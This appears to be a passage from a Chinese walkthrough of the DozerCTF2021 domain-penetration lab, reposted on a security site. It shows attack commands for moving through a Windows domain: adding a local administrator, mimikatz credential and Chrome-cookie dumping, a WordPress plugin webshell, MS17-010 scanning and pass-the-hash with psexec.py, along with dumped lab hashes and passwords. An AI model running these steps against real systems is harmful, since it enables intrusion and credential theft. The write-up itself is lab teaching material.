TCP 127.0.0.1:49221 127.0.0.1:49220 ESTABLISHED 3744
TCP 127.0.0.1:49226 127.0.0.1:49227 ESTABLISHED 1604
TCP 127.0.0.1:49227 127.0.0.1:49226 ESTABLISHED 1604
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 796
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:1433 [::]:0 LISTENING 1304
TCP [::]:3389 [::]:0 LISTENING 1388
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 524
TCP [::]:49153 [::]:0 LISTENING 872
TCP [::]:49154 [::]:0 LISTENING 928
TCP [::]:49155 [::]:0 LISTENING 636
TCP [::]:49177 [::]:0 LISTENING 620
TCP [::]:49182 [::]:0 LISTENING 636
TCP [::]:49238 [::]:0 LISTENING 1304
UDP 0.0.0.0:123 *:* 1000
UDP 0.0.0.0:500 *:* 928
UDP 0.0.0.0:3389 *:* 1388
UDP 0.0.0.0:4500 *:* 928
UDP 0.0.0.0:5355 *:* 520
UDP 0.0.0.0:64354 *:* 520
UDP 10.10.1.231:137 *:* 4
UDP 10.10.1.231:138 *:* 4
UDP 127.0.0.1:50457 *:* 2964
UDP 127.0.0.1:53687 *:* 2964
UDP 127.0.0.1:56295 *:* 928
UDP 127.0.0.1:59110 *:* 2964
UDP 127.0.0.1:61057 *:* 520
UDP 127.0.0.1:61059 *:* 636
UDP 127.0.0.1:61187 *:* 2964
UDP [::]:123 *:* 1000
UDP [::]:500 *:* 928
UDP [::]:3389 *:* 1388
UDP [::]:4500 *:* 928
UDP [::]:5355 *:* 520
UDP [::]:64354 *:* 520

为了方便,先加个用户,然后 rdp 上去看看。

net user /add root test456123!
net localgroup administrators root /add

尝试创建 lsass.exe 的转储文件,然而刚点就被掐掉了。

(此处好想把卡巴斯基退出

根据官方题解的话,这里的 DozerOCS.exe 是 Alice 用户(也就是下文中 wordpress 的用户)起的,应该是 dump 这个的

然而咱复现的时候 tasklist 里没这个玩意啊……(应该是被之前进来的师傅们日坏了 Orz

后来环境又重置了一次,这回有了,上面说的 tasklist 已经改成新的了。

创建转储文件。

这里直接借助 234 机器上的木马,把 dmp 传到 234 机器上,本地再拖回来。

这里上传的时候发现直接上传会报错,压缩之后就没事了。

其实更好的方案比如用 powershell 起个 web 服务,或者把文件通过命令行 post 到其他机器上,再或者用 net use 拖回来?

strings DozerOCS.DMP | grep ldap

得到 Alice 的用户信息。

ldap://dc01.dozer.org:389|CN=AliceAlc,CN=Users,DC=dozer,DC=org|FkuWvj08

密码 FkuWvj08

另外,由于没做免杀,这台机器上 msf 木马被杀了((之后有机会再研究研究免杀吧

0x04 10.10.1.121 DESKTOP-ALICE

盲猜用户名 Alice,利用上面得到的密码登录 DESKTOP-ALICE。

这台也在域里。

桌面上得到 flag。

同样,上线 msf

看了一下这台上面也没有域管的 hash。

0x05 10.10.1.250 WordPress

管理员用户名为 alice

看看 121 机器中 Chrome 的 Cookie:

C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies

整个 mimikatz 获取一下 Cookie。

dpapi::chrome /in:"C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies" /unprotect

然而发现复现的时候环境被破坏掉了……(喵呜!

顺便也在上面看到了之前师傅进来用 hack-browser-data.exe 导出的浏览器数据,然而也没用来登录的 cookie 了……

另外还发现了用户名和密码。

UserName,Password,LoginUrl,CreateDate
Alice,[email protected]@2021,http://10.10.1.250,2021-05-27T22:57:09+08:00

登录进来了。

版本号 WordPress 5.2

插件管理器里加个一句话木马。

http://10.10.1.250/wp-content/plugins/hello.php

flag 在 wordpress 用户桌面。

顺便上线 msf。

0x06 10.10.1.1 DC

在 250 机器上把内存中的登录信息 dump 出来。

或者上去用 mimikatz 执行,再或者把 lsass.exe dump 下来拖回本地再提取也行。

# 直接在机器上抓取
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

# 拉回本地处理
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonpasswords
Authentication Id : 0 ; 27358144 (00000000:01a173c0)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2021/5/31 14:34:20
SID               : S-1-5-90-4
        msv :
         [00000003] Primary
         * Username : WEB02$
         * Domain   : DOZER
         * NTLM     : b943c070d6b172a110ac4a7a02cb0995
         * SHA1     : 5974013dfc3df4584e32d923dcb67a36236926ee
        tspkg :
        wdigest :
         * Username : WEB02$
         * Domain   : DOZER
         * Password : 0]nCM-wq:#yu`.nHaH Kb^ Y4ehToFRWBT &ZJVXNAhGHQI)QXAM4K-8_FY=sJ*DGwmoevtkPt60YT.EA%<h&!SQS]"1`4Ruf6rrgi_J%1wy!0:%f*#b%@)U
        kerberos :
         * Username : WEB02$
         * Domain   : dozer.org
         * Password : 0]nCM-wq:#yu`.nHaH Kb^ Y4ehToFRWBT &ZJVXNAhGHQI)QXAM4K-8_FY=sJ*DGwmoevtkPt60YT.EA%<h&!SQS]"1`4Ruf6rrgi_J%1wy!0:%f*#b%@)U
        ssp :
        credman :

Authentication Id : 0 ; 528906 (00000000:0008120a)
Session           : Interactive from 3
User Name         : wordpress
Domain            : WEB02
Logon Server      : WEB02
Logon Time        : 2021/5/30 3:23:02
SID               : S-1-5-21-304103692-1934564980-1899848695-1001
        msv :
         [00000003] Primary
         * Username : wordpress
         * Domain   : WEB02
         * NTLM     : b86fad0edf04a96244ec22959ce47d1d
         * SHA1     : f11df01e661b9f3da0736a850b82d6d5c3b65529
         [00010000] CredentialKeys
         * NTLM     : 85e6f9a1053b80f86820e4deaa351968
         * SHA1     : f37f6af8dc2cfd74a967181db0376dc5d1197fb1
         [00010000] CredentialKeys
         * NTLM     : b86fad0edf04a96244ec22959ce47d1d
         * SHA1     : f11df01e661b9f3da0736a850b82d6d5c3b65529
        tspkg :
        wdigest :
         * Username : wordpress
         * Domain   : WEB02
         * Password : [email protected]
        kerberos :
         * Username : wordpress
         * Domain   : WEB02
         * Password : (null)
        ssp :
        credman :

DOZER\WEB02$ 用户说不定有戏,密码和 NTLM 都有了。

然而发现利用它并不能登上域控 10.10.1.1 啊!

看了看 Administrators 用户组,应该域管是这个才对吧,然而内存里也没有域管的 hash 啊……

怕是环境已经被之前进来的师傅们搅乱了。(摊手

么得办法,又考虑到大师傅说域控就有 MS17-010 这个洞,这里就试着打一打吧。虽然说是这样非预期解……

在之前的机器传了个 fscan 上去再扫一波内网,顺便用管理员身份扫一波 ms17010.

好家伙,他域控果然有洞啊!

(这里复现的时候发现又打不通了,直接略去不写了吧

然后利用 impacket 工具中的 psexec.py,可以通过 hash 来连接远程执行命令。

可以参考 Impacket 网络协议工具包介绍

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9912e73b8ee265638b43d105fdb4c6f4 dozer/[email protected]

乱码的话先指定一下编码 chcp 65001,使用 UTF-8 编码。

在桌面上拿到 flag。

mimikatz 抓取密码。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

得到 Administrator 明文密码 Admin890...

同时也发现了个 flag 用户。

0x07 10.10.1.100 Exchange

利用DOZER\WEB02$ 用户信息通过 ADExplorer64 连接到域控 10.10.1.1,可以查看一下域内信息。

里面看到了个 flag 用户。

(实际上域内的用户都能连接域控,查看域内的信息……之前的 Alice 也可以。

用域管的 Administrator 登录 https://10.10.1.100/owa/

里面有个草稿提示了 flag 需要在 Dozerflagflag(也就是 [email protected] )用户里找。和上面的发现相照应了。

按照官方 writeup 里的说法,首先利用域管 Administrator 登录 Exchange 管理中心,即 https://10.10.1.100/ecp/

然后给 flag 用户设置邮箱委托,把 Administrator 用户加进去。

然后访问 https://10.10.1.100/owa/[email protected]/ 即可查看 flag 用户的邮件,从而拿到 flag。

0x08 小结

第一次打域渗透的题目,好爽啊!

感谢主办方搭建的域环境,让喵喵有机会好好玩了一波!

明年有机会再来玩 qwq!

师傅们欢迎来 咱博客 逛逛喵~

(溜了溜了喵

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:52:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DozerCTF2021 域渗透 Workthrough - m1aohttps://cn-sec.com/archives/712872.html

发表评论

匿名网友 填写信息